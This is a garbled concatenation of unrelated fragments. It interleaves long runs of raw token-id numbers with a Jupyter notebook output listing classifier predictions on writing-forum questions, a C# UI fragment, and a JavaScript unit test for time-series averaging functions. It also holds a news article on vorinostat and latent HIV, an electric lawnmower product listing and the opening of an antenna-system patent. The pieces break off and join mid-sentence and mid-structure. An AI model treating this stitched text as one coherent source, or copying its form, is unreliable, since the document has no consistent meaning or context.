50254, 50254, 50262, 2133, 64, 1156, 50276, 45677, 79, 995, 187, 50271, 3, 2618, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50275, 61, 79, 995, 187, 50271, 3, 19042, 1047, 50276, 688, 619, 16879, 1533, 627, 403, 643, 643, 2197, 850, 15820, 16280, 7497, 15, 3808, 273, 731, 403, 12114, 19164, 31875, 390, 387, 1878, 417, 347, 1846, 275, 17068, 6281, 15, 1623, 253, 643, 1133, 13, 309, 452, 671, 2908, 625, 5899, 15820, 751, 1045, 1634, 15, 309, 1353, 1469, 281, 50276, 25674, 970, 1045, 1634, 323, 619, 1650, 15, 22469, 13, 309, 452, 3597, 281, 1691, 247, 3367, 5508, 327, 253, 1045, 1634, 285, 417, 816, 3491, 14, 23164, 731, 432, 308, 16537, 1914, 390, 9825, 2010, 15, 3353, 79, 6080, 2811, 2112, 253, 1039, 13, 309, 8156, 326, 309, 812, 1818, 731, 281, 320, 667, 643, 5492, 309, 751, 1223, 24843, 1051, 50275, 61, 79, 995, 187, 50271, 3, 22130, 1671, 50276, 42, 27753, 326, 436, 1953, 476, 2965, 275, 253, 7990, 273, 3367, 4743, 533, 309, 717, 2819, 323, 1633, 11859, 15, 3353, 79, 17534, 2223, 13, 417, 760, 327, 436, 2670, 533, 643, 4028, 2905, 4375, 13, 309, 1089, 952, 11485, 1333, 326, 2176, 4633, 4477, 403, 13, 275, 6612, 13, 3076, 11597, 15, 2053, 2486, 253, 13052, 273, 500, 15, 44, 15, 15784, 1981, 13, 5682, 7233, 13, 19717, 3643, 47193, 13, 3966, 15, 1720, 3743, 2491, 432, 5884, 7484, 11385, 281, 1146, 1512, 48656, 15, 1723, 13, 326, 943, 417, 4555, 320, 2032, 390, 943, 2581, 320, 5884, 34584, 1841, 347, 258, 1051, 50275, 61, 79, 995, 187, 50271, 35343, 79, 995, 187, 50271, 3, 50271, 1156, 64, 5025, 50276, 1913, 64, 25340, 64, 11546, 50276, 19751, 64, 4698, 64, 11546, 50276, 12982, 64, 19751, 50276, 61, 79, 995, 187, 50271, 3, 2618, 50254, 50254, 50254, 61, 79, 995, 187, 50271, 3, 19042, 1047, 50272, 1166, 2227, 50264, 5088, 50262, 5088, 50264, 5653, 50276, 61, 79, 995, 187, 50271, 3, 22130, 1671, 50272, 740, 4148, 50264, 5088, 50262, 5088, 50264, 5653, 50276, 3, 187, 50272, 62, 187, 50273, 2023, 187, 50273, 3, 35792, 64, 5560, 1381, 721, 13, 187, 50273, 3, 21552, 1381, 30744, 187, 50273, 3, 9252, 64, 881, 1381, 346, 21599, 64, 6870, 3, 187, 50274, 94, 187, 50275, 1092, 187, 50275, 3, 6756, 1381, 544, 187, 50274, 3, 3956, 64, 993, 60, 936, 64, 8412, 9336, 187, 50275, 62, 187, 50276, 2023, 187, 50276, 92, 187, 50275, 3, 3992, 64, 881, 1381, 346, 49832, 995, 187, 50275, 3, 21552, 1381, 30744, 187, 50275, 3, 6756, 1381, 544, 187, 50274, 3, 10342, 13224, 3451, 4016, 13650, 3, 187, 50275, 62, 187, 50276, 2023, 187, 50276, 92, 187, 50275, 3, 3992, 64, 881, 1381, 346, 3211, 995, 187, 50275, 3, 35792, 64, 5560, 1381, 818, 13, 187, 50275, 3, 21552, 1381, 30744, 187, 50275, 3, 44902, 1381, 544, 187, 50274, 92, 187, 50273, 3, 2203, 1381, 551, 187, 50272, 3, 1156, 16, 2974, 1381, 544, 187, 50271, 3, 29, 2154, 13544, 79, 995, 187, 50271, 3, 29, 4826, 660, 11802, 13544, 79, 995, 187, 50271, 3, 50274, 15, 2203, 6301, 246, 2915, 492, 289, 27, 7483, 14, 1171, 14, 881, 1926, 79, 995, 187, 50271, 3, 50270, 26806, 14, 8623, 27, 4766, 7405, 79, 995, 187, 50271, 3, 50274, 889, 79, 995, 187, 50271, 35343, 79, 995, 187, 50271, 3, 50274, 15, 2203, 6301, 246, 2915, 492, 289, 1926, 79, 995, 187, 50271, 3, 50270, 26806, 14, 8623, 27, 1755, 7405, 79, 995, 187, 50271, 3, 50274, 889, 79, 995, 187, 50271, 35343, 79, 995, 187, 50271, 3, 50274, 15, 2203, 6301, 253, 324, 289, 1926, 79, 995, 187, 50271, 3, 50270, 1156, 14, 8623, 27, 987, 7405, 79, 995, 187, 50271, 3, 50274, 889, 79, 995, 187, 50271, 43781, 4826, 13544, 79, 995, 187, 50271, 3, 29, 2420, 5680, 21655, 18, 10632, 966, 21655, 2203, 6301, 61, 1138, 61, 79, 995, 187, 50271, 3, 50276, 29, 45826, 13544, 79, 995, 187, 50271, 3, 50274, 29, 1206, 3740, 21655, 1156, 14, 8623, 27, 987, 7405, 1138, 61, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 12787, 7025, 64, 856, 5830, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 5672, 64, 1968, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 13408, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 2915, 64, 1156, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 1156, 64, 5025, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 1913, 64, 25340, 64, 11546, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 19751, 64, 4698, 64, 11546, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 12982, 64, 19751, 870, 394, 13544, 79, 995, 187, 50271, 3, 50274, 870, 1206, 13544, 79, 995, 187, 50271, 3, 50274, 29, 1206, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 2618, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29 ]	"text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>predicted_proba</th>\n", " <th>true_label</th>\n", " <th>Title</th>\n", " <th>body_text</th>\n", " <th>text_len</th>\n", " <th>action_verb_full</th>\n", " <th>question_mark_full</th>\n", " <th>language_question</th>\n", " </tr>\n", " <tr>\n", " <th>Id</th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>30514</th>\n", " <td>0.72</td>\n", " <td>True</td>\n", " <td>Classic fantasy races lazy or boring?</td>\n", " <td>In my fantasy world there are other other sentient races besides humans. Some of them are \"original\", or at least not as common in mainstream stories. On the other hand, I have also included more traditional races like elves. I'm going to continue using elves for my example. Obviously, I have tried to put a personal spin on the elves and not just copy-paste them from Tolkien or anywhere else.\\nSomewhere along the way, I realized that I could change them to be any other race I like while mai...</td>\n", " <td>1785</td>\n", " <td>True</td>\n", " <td>True</td>\n", " <td>False</td>\n", " </tr>\n", " <tr>\n", " <th>32835</th>\n", " <td>0.70</td>\n", " <td>True</td>\n", " <td>Traits of Bad Writers - Analysing Popular Authors</td>\n", " <td>I realise that this question can fall in the scope of personal opinion but I am looking for something concrete.\\nVery often, not only on this site but other writing related sites, I find people constantly say that certain popular authors are, in reality, bad writers. These include the likes of J.K. Rowling, Dan Brown, Christopher Paolini, etc. Reasons range from minor plot holes to being too verbose. However, that should not exactly be true or should rather be minor insignificant things as o...</td>\n", " <td>1097</td>\n", " <td>True</td>\n", " <td>True</td>\n", " <td>False</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " predicted_proba true_label \\\n", "Id \n", "30514 0.72 True \n", "32835 0.70 True \n", "\n", " Title \\\n", "Id \n", "30514 Classic fantasy races lazy or boring? \n", "32835 Traits of Bad Writers - Analysing Popular Authors \n", "\n", " body_text \\\n", "Id \n", "30514 In my fantasy world there are other other sentient races besides humans. Some of them are \"original\", or at least not as common in mainstream stories. On the other hand, I have also included more traditional races like elves. I'm going to continue using elves for my example. Obviously, I have tried to put a personal spin on the elves and not just copy-paste them from Tolkien or anywhere else.\\nSomewhere along the way, I realized that I could change them to be any other race I like while mai... \n", "32835 I realise that this question can fall in the scope of personal opinion but I am looking for something concrete.\\nVery often, not only on this site but other writing related sites, I find people constantly say that certain popular authors are, in reality, bad writers. These include the likes of J.K. Rowling, Dan Brown, Christopher Paolini, etc. Reasons range from minor plot holes to being too verbose. However, that should not exactly be true or should rather be minor insignificant things as o... \n", "\n", " text_len action_verb_full question_mark_full language_question \n", "Id \n", "30514 1785 True True False \n", "32835 1097 True True False " ] }, "execution_count": 6, "metadata": {}, "output_type": "execute_result" } ], "source": [ "top_pos[to_display]" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Most confident correct negative predictions" ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>predicted_proba</th>\n", " <th>true_label</th>\n", " <th>Title</th>\n", " <th>body_text</th>\n", " <th>text_len</th>\n", " <th>action_verb_full</th>\n", " <th>question_mark_full</th>\n", " <th>language_question</th>\n", " </tr>\n", " <tr>\n", " <th>Id</th>\n", " <th></th>\n", " <th></th>\n", " <
[ 49, 2079, 558, 187, 50262, 94, 187, 50266, 94, 187, 50270, 94, 535, 50270, 18641, 12970, 2991, 1623, 42102, 14968, 9, 14968, 41041, 40029, 299, 10, 187, 50270, 92, 187, 50266, 4793, 15, 2374, 42102, 14968, 9, 70, 558, 187, 50266, 23772, 426, 299, 15, 2402, 23974, 15, 9867, 29, 1830, 68, 1811, 494, 31, 1587, 26765, 64, 23772, 3145, 254, 3287, 187, 50270, 94, 187, 50274, 94, 187, 94, 187, 2948, 795, 432, 686, 39079, 1225, 5618, 187, 2948, 941, 33473, 432, 50111, 2203, 33473, 5618, 187, 187, 49027, 2073, 2203, 33473, 1383, 6734, 3001, 551, 187, 50276, 1059, 20921, 426, 25425, 535, 50276, 9131, 11837, 36810, 3001, 551, 187, 50274, 11154, 15, 8608, 522, 842, 84, 426, 544, 187, 50272, 14598, 740, 13, 1458, 4226, 933, 1092, 544, 19, 13, 1458, 40094, 933, 1092, 544, 24, 13, 1458, 23113, 6914, 1092, 544, 18, 13, 1458, 1418, 14602, 933, 31011, 187, 50272, 14598, 26, 13, 1458, 4226, 933, 1092, 50276, 60, 20, 13, 1458, 40094, 933, 1092, 544, 21, 13, 1458, 23113, 6914, 1092, 544, 25, 13, 1458, 1418, 14602, 933, 31011, 187, 50274, 2194, 187, 50276, 9897, 535, 50276, 49027, 2073, 3039, 4647, 1387, 3463, 1082, 3470, 1383, 6734, 3001, 551, 187, 50274, 262, 2073, 11425, 1091, 2962, 3388, 1383, 6734, 3001, 551, 187, 50272, 1059, 19737, 3463, 426, 941, 33473, 15, 10994, 40541, 5013, 4399, 3463, 22734, 187, 50272, 3474, 1323, 72, 19, 84, 426, 42315, 4251, 9, 11154, 15, 8608, 522, 842, 84, 13, 313, 12132, 10, 3001, 19737, 3463, 2073, 19, 84, 1383, 686, 42921, 1383, 33234, 4027, 187, 50272, 23824, 9, 42921, 19, 84, 481, 936, 12827, 8850, 187, 50270, 14598, 23, 13, 1458, 4226, 933, 1092, 544, 21, 13, 1458, 23113, 6914, 31011, 187, 50270, 14598, 23, 13, 1458, 4226, 933, 1092, 544, 23, 13, 1458, 23113, 6914, 31011, 187, 50272, 9259, 535, 50272, 3474, 1323, 72, 740, 84, 426, 42315, 4251, 9, 11154, 15, 8608, 522, 842, 84, 13, 313, 12132, 10, 3001, 19737, 3463, 2073, 740, 84, 1383, 686, 42921, 1383, 33234, 4027, 187, 50272, 23824, 9, 42921, 740, 84, 481, 936, 12827, 8850, 187, 50270, 14598, 22, 13, 1458, 4226, 933, 31011, 187, 50270, 14598, 23, 13, 1458, 4226, 933, 31011, 187, 50272, 9259, 535, 50272, 605, 417, 15616, 187, 50272, 3474, 33234, 426, 8605, 740, 13, 1458, 40094, 933, 1092, 544, 19, 13, 1458, 23113, 6914, 1092, 544, 24, 13, 1458, 1418, 14602, 933, 1092, 544, 18, 13, 1458, 1418, 15017, 933, 44270, 187, 50272, 23824, 9, 46601, 366, 3463, 2073, 19, 84, 1383, 686, 42921, 1383, 33234, 5029, 936, 12827, 8850, 187, 50270, 60, 740, 13, 1458, 4226, 933, 1092, 544, 21, 15, 22, 13, 1458, 23113, 6914, 1092, 544, 18, 13, 1458, 1418, 15017, 933, 62, 187, 50272, 9259, 187, 50274, 9897, 187, 50276, 9897, 535, 50276, 49027, 2073, 3039, 4647, 19737, 3463, 1082, 3470, 1383, 6734, 3001, 551, 187, 50274, 262, 2073, 11425, 1091, 2962, 3388, 1383, 6734, 3001, 551, 187, 50272, 1059, 19737, 3463, 426, 941, 33473, 15, 10994, 40541, 5013, 46601, 366, 3463, 22734, 187, 50272, 3474, 1323, 72, 18, 84, 426, 19737, 3463, 2073, 18, 84, 1383, 686, 42921, 1383, 20921, 15, 8608, 522, 842, 84, 558, 187, 50272, 23824, 9, 42921, 18, 84, 481, 936, 12827, 8850, 187, 50270, 60, 26, 15, 22, 13, 1458, 4226, 933, 1092, 544, 19, 15, 22, 13, 1458, 40094, 933, 1092, 544, 22, 15, 22, 13, 1458, 23113, 6914, 1092, 544, 21, 15, 22, 13, 1458, 1418, 14602, 933, 62, 187, 50272, 9259, 535, 50272, 3474, 1323, 72, 740, 84, 426, 19737, 3463, 2073, 740, 84, 1383, 686, 42921, 1383, 20921, 15, 8608, 522, 842, 84, 558, 187, 50272, 23824, 9, 42921, 740, 84, 481, 936, 12827, 8850, 187, 50270, 60, 22, 15, 22, 13, 1458, 4226, 933, 62, 187, 50272, 9259, 187, 50274, 9897, 187, 50276, 9897, 187, 9897, 187, 5804, 1209, 2854, 892, 17379, 562, 29661, 4351, 24482, 6581, 187, 187, 1552, 1873, 5406, 2668, 762, 247, 17199, 2722, 253, 7452, 337, 6581, 3600, 463, 12777, 327, 247, 36329, 15, 187, 187, 4061, 31093, 44237, 275, 253, 1986, 2077, 2296, 597, 452, 908, 247, 2923, 2854, 281, 26363, 562, 253, 24482, 6581, 29661, 4351, 50188, 275, 2332, 1363, 8, 3168, 2614, 1341, 428, 247, 43095, 3213, 4404, 247, 16498, 15, 187, 187, 510, 3745, 273, 253, 7452, 9128, 13, 390, 19448, 2127, 13, 281, 10507, 562, 275, 1341, 285, 320, 43941, 846, 8007, 24543, 247, 2201, 26982, 275, 253, 1437, 323, 247, 16498, 15, 26143, 2104, 281, 22065, 253, 6581, 275, 697, 17197, 1659, 651, 1581, 10950, 281, 2303, 253, 3167, 3168, 2614, 1341, 275, 247, 9811, 787, 5432, 449, 1147, 310, 253, 5068, 273, 789, 2584, 247, 16498, 323, 24482, 937, 5119, 13579, 13000, 13, 820, 14, 7582, 273, 253, 1263, 3863, 275, 253, 6698, 13375, 13, 2183, 27816, 347, 253, 5625, 24482, 12651, 369, 762, 1039, 275, 5041, 15, 34331, 310, 247, 13767, 41038, 13, 30471, 697, 3882, 715, 253, 9128, 273, 3167, 3168, 2614, 1341, 13, 3437, 21, 12, 53, 1341, 275, 436, 1083, 13, 285, 8577, 731, 715, 6581, 29492, 15, 13168, 352, 4566, 715, 17197, 275, 690, 1341, 1014, 347, 2571, 1978, 327, 9603, 15, 3808, 5910, 3041, 952, 1475, 253, 1533, 403, 3811, 342, 7452, 13, 534, 46340, 253, 7026, 985, 285, 556, 4269, 670, 1884, 3041, 24482, 14, 4919, 8923, 1580, 253, 2728, 806, 13082, 275, 253, 2393, 9178, 84, 15, 688, 253, 6323, 1263, 13, 8607, 275, 253, 1986, 2077, 908, 253, 13215, 2854, 18285, 249, 30469, 281, 47122, 285, 594, 440, 12477, 21624, 7452, 275, 253, 3437, 21, 12, 53, 1341, 273, 4314, 2332, 1363, 15, 510, 1363, 497, 671, 327, 1331, 38959, 48377, 5835, 13, 534, 14545, 7452, 432, 39763, 533, 452, 281, 320, 2668, 323, 1495, 984, 597, 513, 417, 5159, 253, 6581, 8763, 1977, 275, 45009, 449, 4553, 247, 2014, 6178, 273, 253, 2854, 13, 387, 1878, 323, 247, 2774, 275, 673, 13, 313, 19449, 249, 30469, 10, 310, 892, 7849, 253, 6581, 562, 273, 17197, 937, 13579, 13000, 753, 273, 253, 2332, 1543, 428, 253, 806, 2854, 2455, 2011, 281, 513, 594, 449, 1552, 310, 4737, 273, 253, 4473, 13, 273, 253, 2934, 326, 253, 6581, 476, 320, 5742, 10522, 275, 247, 3110, 407, 247, 2854, 13, 285, 9093, 13279, 598, 253, 1039, 323, 436, 966, 273, 5835, 281, 320, 5421, 323, 897, 275, 436, 1039, 449, 510, 2854, 8571, 271, 9548, 326, 4483, 253, 6581, 281, 7027, 21624, 15, 510, 8607, 17458, 264, 326, 18285, 249, 30469, 778, 452, 690, 12825, 2538, 285, 21198, 436, 369, 7960, 271, 2393, 14011, 273, 25720, 326, 574, 281, 320, 14859, 2007, 15, 1231, 897, 14268, 281, 5416, 368, 755, 253, 1682, 2793, 15, 2896, 970, 776, 4422, 368, 5194, 281, 776, 49391, 11981, 15, 9182, 776, 19550, 3646, 281, 923, 534, 14268, 359, 873, 285, 2139, 13, 285, 1491, 327, 849, 281, 1453, 849, 634, 9882, 26091, 14268, 15, 187, 187, 1047, 38, 5910, 3591, 416, 613, 19596, 2146, 47207, 411, 1595, 21171, 3905, 939, 78, 1017, 187, 187, 1552, 1133, 4198, 5911, 2058, 1940, 1638, 38, 39047, 5637, 23298, 78, 1017, 310, 4158, 281, 6558, 634, 23298, 281, 253, 4585, 2629, 1896, 15, 733, 556, 247, 9968, 4871, 273, 5910, 3591, 285, 721, 838, 292, 9968, 4898, 14000, 7533, 875, 2030, 2188, 285, 6879, 2188, 15, 322, 32672, 323, 247, 23298, 1979, 273, 1458, 78, 1269, 1458, 78, 15, 187, 187, 11185, 187, 187, 510, 1638, 38, 39047, 5637, 23298, 78, 1017, 310, 4158, 281, 6558, 634, 23298, 281, 253, 4585, 2629, 285, 310, 14998, 342, 3386, 281, 1056, 970, 352, 347, 5919, 285, 26757, 11722, 271, 2793, 347, 1896, 15, 187, 187, 30880, 2486, 247, 2914, 2049, 323, 271, 8655, 2624, 13, 4275, 1701, 4898, 273, 2624, 14000, 13, 247, 10583, 22738, 2120, 8113, 3497, 285, 4049, 4348, 269, 45083, 323, 3477, 23205, 273, 253, 21651, 22255, 22139, 323, 8566, 5718, 15, 187, 187, 1552, 1566, 671, 556, 271, 9909, 10581, 20173, 326, 6505, 247, 5389, 3521, 9357, 8416, 281, 634, 23298, 15, 329, 22871, 7695, 6119, 310, 671, 2908, 428, 816, 5669, 253, 22871, 348, 10358, 281, 25806, 2624, 10583, 502, 5265, 723, 715, 247, 14164, 6793, 22871, 348, 534, 310, 37470, 896, 715, 253, 23298, 347, 247, 3626, 30465, 9141, 15, 187, 187, 19364, 20173, 323, 247, 10610, 25752, 8416, 281, 253, 23298, 15, 187, 187, 20, 275, 337, 9968, 985, 27, 22729, 13, 26251, 348, 390, 416, 613, 5201, 7778, 187, 187, 3594, 515, 502, 5265, 723, 403, 37470, 896, 715, 253, 8825, 13, 10884, 9865, 23491, 285, 13868, 368, 673, 285, 2583, 2, 187, 187, 8546, 1877, 187, 187, 46, 17894, 187, 187, 8695, 8916, 24882, 187, 187, 1047, 361, 259, 24729, 187, 187, 28512, 1076, 187, 187, 28512, 1076, 39569, 187, 187, 1706, 3591, 187, 187, 28512, 1076, 34841, 187, 187, 1099, 14, 1976, 2188, 313, 23, 26598, 84, 10, 187, 187, 28512, 1076, 36506, 29702, 420, 187, 187, 33339, 1701, 187, 187, 46, 335, 7695, 187, 187, 4374, 187, 187, 46630, 2146, 187, 187, 4374, 187, 187, 48082, 187, 187, 7647, 939, 34982, 265, 187, 187, 10937, 263, 187, 187, 51, 304, 301, 4791, 47026, 187, 187, 13425, 187, 187, 1779, 34119, 187, 187, 33498, 49848, 187, 187, 7647, 939, 19662, 187, 187, 1010, 78, 1269, 1458, 78, 187, 187, 52, 33816, 29621, 187, 187, 36853, 3327, 566, 26457, 187, 187, 27115, 1241, 187, 187, 34552, 11858, 2188, 416, 613, 18672, 2188, 187, 187, 36, 494, 32569, 187, 187, 1010, 6365, 250, 187, 187, 18686, 14184, 41622, 187, 187, 2302, 187, 187, 56, 35083, 90, 187, 187, 19, 20175, 187, 187, 33658, 9, 34, 10, 36485, 187, 187, 4529, 187, 187, 22032, 187, 187, 18837, 368, 452, 667, 34839, 26286, 5001, 436, 1885, 13, 4496, 4143, 776, 6631, 10516, 4422, 387, 1108, 8280, 15, 1498, 280, 293, 750, 15, 2061, 15, 2788, 187, 187, 7456, 10516, 14516, 247, 8788, 273, 1329, 1491, 1690, 10125, 273, 776, 11595, 84, 285, 1881, 14, 13070, 22591, 323, 634, 10329, 6500, 347, 973, 347, 3057, 1491, 323, 634, 11629, 25412, 398, 665, 403, 2104, 281, 6186, 18345, 4243, 285, 8706, 3238, 15, 18, 15, 7327, 273, 253, 14723, 187, 1552, 3688, 7033, 281, 23990, 44183, 25266, 17512, 2718, 534, 11017, 387, 4142, 7938, 685, 253, 1491, 1146, 11742, 285, 625, 3782, 281, 11701, 275, 253, 2625, 16248, 42146, 273, 824, 2718, 281, 10486, 5115, 1029, 2193, 273, 26777, 6351, 285, 9712, 273, 2709, 6298, 1754, 327, 4294, 13, 673, 14, 1171, 14, 274, 49182, 285, 3884, 14, 1171, 14, 274, 49182, 15, 187, 19, 15, 11451, 273, 253, 15073, 3975, 187, 1147, 310, 4536, 11408, 281, 20486, 247, 985, 281, 4763, 512, 273, 253, 19302, 6298, 1561, 253, 11452, 434, 13789, 347, 3710, 407, 697, 7340, 285, 16992, 15, 8714, 932, 273, 1600, 403, 3798, 7119, 432, 7561, 11117, 10746, 15, 3813, 13, 2720, 2718, 452, 12845, 36585, 1907, 247, 4618, 40665, 8325, 4871, 13, 824, 347, 33039, 301, 30869, 36585, 13, 347, 253, 985, 434, 6437, 15, 187, 34, 5460, 12291, 273, 436, 2746, 310, 326, 352, 1057, 417, 9659, 36799, 6064, 273, 2709, 6298, 15, 6102, 6064, 310, 3798, 11408, 281, 3657, 6746, 8036, 273, 6298, 326, 2550, 5010, 320, 11512, 275, 4294, 390, 673, 14, 1171, 14, 30714, 1196, 15, 399, 30869, 6064, 310, 671, 11408, 275, 2219, 835, 253, 3884, 273, 9364, 273, 253, 6298, 310, 281, 320, 5998, 15, 187, 1992, 11399, 841, 23797, 13, 5795, 2720, 1445, 2718, 452, 644, 15378, 970, 6891, 14, 33312, 36585, 15, 496, 581, 1083, 13, 2709, 36585, 13, 1016, 9603, 247, 6891, 8325, 13, 403, 10912, 275, 247, 13765, 3102, 594, 326, 616, 20435, 403, 41248, 285, 1127, 44423, 22684, 15, 496, 1529, 1083, 13, 247, 2014, 23990, 3781, 17512, 310, 15378, 281, 830, 2709, 20435, 534, 403, 41248, 285, 1127, 44423, 22684, 15, 496, 1097, 2219, 13, 1016, 8325, 2245, 273, 253, 17512, 9, 84, 10, 310, 4802, 281, 247, 4858, 11452, 13, 3021, 253, 985, 476, 10738, 253, 11361, 273, 1097, 1175, 36799, 6064, 285, 3426, 13, 19645, 36799, 7031, 15, 1723, 13, 253, 18928, 275, 436, 1083, 310, 253, 1029, 2105, 273, 253, 2709, 29390, 15, 187, 8195, 966, 273, 2720, 1445, 2718, 9437, 281, 5115, 33039, 301, 30869, 7031, 342, 247, 2014 ]	Pressed); } } } protected override void OnApplyTemplate(TemplateAppliedEventArgs e) { base.OnApplyTemplate(e); Scroll = e.NameScope.Find<IScrollable>("PART_ScrollViewer"); } } } import _ from 'lodash'; import dataProcessor from '../dataProcessor'; describe('dataProcessor', () => { let ctx = {}; beforeEach(() => { ctx.datapoints = [ [[10, 1500000000000], [2, 1500000001000], [7, 1500000002000], [1, 1500000003000]], [[9, 1500000000000], [3, 1500000001000], [4, 1500000002000], [8, 1500000003000]], ]; }); describe('When apply groupBy() functions', () => { it('should return series average', () => { let aggregateBy = dataProcessor.metricFunctions['groupBy']; const avg2s = _.map(ctx.datapoints, (dp) => aggregateBy('2s', 'avg', dp)); expect(avg2s).toEqual([ [[6, 1500000000000], [4, 1500000002000]], [[6, 1500000000000], [6, 1500000002000]], ]); const avg10s = _.map(ctx.datapoints, (dp) => aggregateBy('10s', 'avg', dp)); expect(avg10s).toEqual([ [[5, 1500000000000]], [[6, 1500000000000]], ]); // not aligned const dp = [[10, 1500000001000], [2, 1500000002000], [7, 1500000003000], [1, 1500000004000]]; expect(aggregateBy('2s', 'avg', dp)).toEqual([ [10, 1500000000000], [4.5, 1500000002000], [1, 1500000004000] ]); }); }); describe('When apply aggregateBy() functions', () => { it('should return series average', () => { let aggregateBy = dataProcessor.metricFunctions['aggregateBy']; const avg1s = aggregateBy('1s', 'avg', ctx.datapoints); expect(avg1s).toEqual([ [9.5, 1500000000000], [2.5, 1500000001000], [5.5, 1500000002000], [4.5, 1500000003000] ]); const avg10s = aggregateBy('10s', 'avg', ctx.datapoints); expect(avg10s).toEqual([ [5.5, 1500000000000] ]); }); }); }); Cancer drug flushes out lurking AIDS virus This file picture taken under a microscope shows the HIV 1 virus burgeoning on a lymphocyte. SCIENTISTS in the United States says they have used a cancer drug to flush out the AIDS virus lurking dormant in trial patients' white blood cells - a tentative step towards a cure. The ability of the HIV genome, or reproductive code, to hide out in cells and be revived after decades poses a major obstacle in the quest for a cure.Being able to expose the virus in its hiding place would allow scientists to target the host white blood cells in a killing blitz."It is the beginning of work toward a cure for AIDS," David Margolis, co-author of the study published in the journal Nature, told AFP as the International AIDS Conference was under way in Washington.HIV is a retrovirus, inserting its DNA into the genome of host white blood cells, CD4+T cells in this case, and turning them into virus factories. Sometimes it goes into hiding in some cells even as others keep on producing. Some 34 million people around the world are living with HIV, which destroys the immune system and has caused about 30 million AIDS-related deaths since the disease first emerged in the early 1980s.In the latest study, researchers in the United States used the chemotherapy drug vorinostat to revive and so unmask latent HIV in the CD4+T cells of eight trial patients.The patients were also on antiretroviral drugs, which stops HIV from multiplying but have to be taken for life because they do not kill the virus hidden away in reservoirs."After a single dose of the drug, at least for a moment in time, (vorinostat) is flushing the virus out of hiding," Margolis said of the trial results - the first drug ever shown to do so."This is proof of the concept, of the idea that the virus can be specifically targeted in a patient by a drug, and essentially opens up the way for this class of drugs to be studied for use in this way."The drug targets an enzyme that allows the virus to lie latent.The researchers cautioned that vorinostat may have some toxic effects and stressed this was merely an early indication of feasibility that had to be explored further.We use cookies to ensure you get the best experience. By using our website you agree to our Cookie Policy. View our cookie policy to see which cookies we set and why, and information on how to control how your browser manages cookies. 14E 34cm Rear Roller 1400 Watt Electric Lawnmower This hand propelled Atco 14E mains electric lawnmower is designed to maintain your lawn to the highest standard possible. It has a cutting width of 34cm and 6 preset cutting height adjustment settings between 25mm and 75mm. Suitable for a lawn size of 15m x 15m. Description The 14E mains electric lawnmower is designed to maintain your lawn to the highest standard and is packed with features to make using it as efficient and pleasurable an experience as possible. Features include a front comb for an enhanced cut, centralised height of cut adjustment, a grassbag full vision window and camlock fittings for easy folding of the ergonomic handles for compact storage. This model also has an integral rear roller that leaves a beautiful striped finish to your lawn. A mulching kit is also included - just insert the mulch plug to finely cut grass clippings into a nitrogen rich mulch which is recycled back into the lawn as a natural fertiliser. Rear roller for a classic stripped finish to the lawn. 3 in 1 cutting system: Collect, Mulch or Rear Discharge Grass clippings are recycled back into the soil, returning valuable nutrients and saving you time and money! Specification Motor Net Power Output 1400 watts Cutting Cutting Width 34cm Cutting Heights 25-75mm (6 Positions) Cutting Height Adjustment Centralised Mulching Yes Roller Yes Finish Lawn Stripes Collector Rigid 35 litres General Chassis Polypropylene Lawn Size 15m x 15m Safety Features Operator Presence Switch Wheels Front 140mm Rear 170mm Cable Length 15 Metre Home Assembly Required No Warranty 2 Years dB(A) Rating 92 Support Should you have any enquiries regarding this product, please visit our ServiceLink website at – www.servicelink.org.uk ServiceLink hosts a wealth of support information including copies of our manuals and self-help guides for your garden equipment as well as contact information for your Local Dealers who are able to supply spare parts and repair services.1. Field of the Invention This invention relates to cylindrical electronically scanned antenna systems which scan at rates faster than the information being processed and more particularly to improvements in the signal combining subsystem of such systems to simultaneously achieve high values of directive gain and separation of multiple signals based on frequency, time-of-arrival and direction-of-arrival. 2. Description of the Related Art It is sometimes desirable to configure a system to receive all of the electromagnetic signals within the receiver's capabilities as limited by its sensitivity and bandwidth. Signals of interest are usually incident from widely diverse directions. Therefore, prior systems have utilized antennas having a wide azimuth beam width, such as omnidirectional antennas, as the system's receptor. A severe limitation of this approach is that it does not permit directional resolution of multiple signals. Such resolution is usually desirable to prevent garbling of signals that cannot otherwise be resolved in frequency or time-of-occurrence. Directional resolution is also desirable in cases where the direction of incidence of the signals is to be estimated. To overcome these disadvantages, alternative prior art systems have been configured 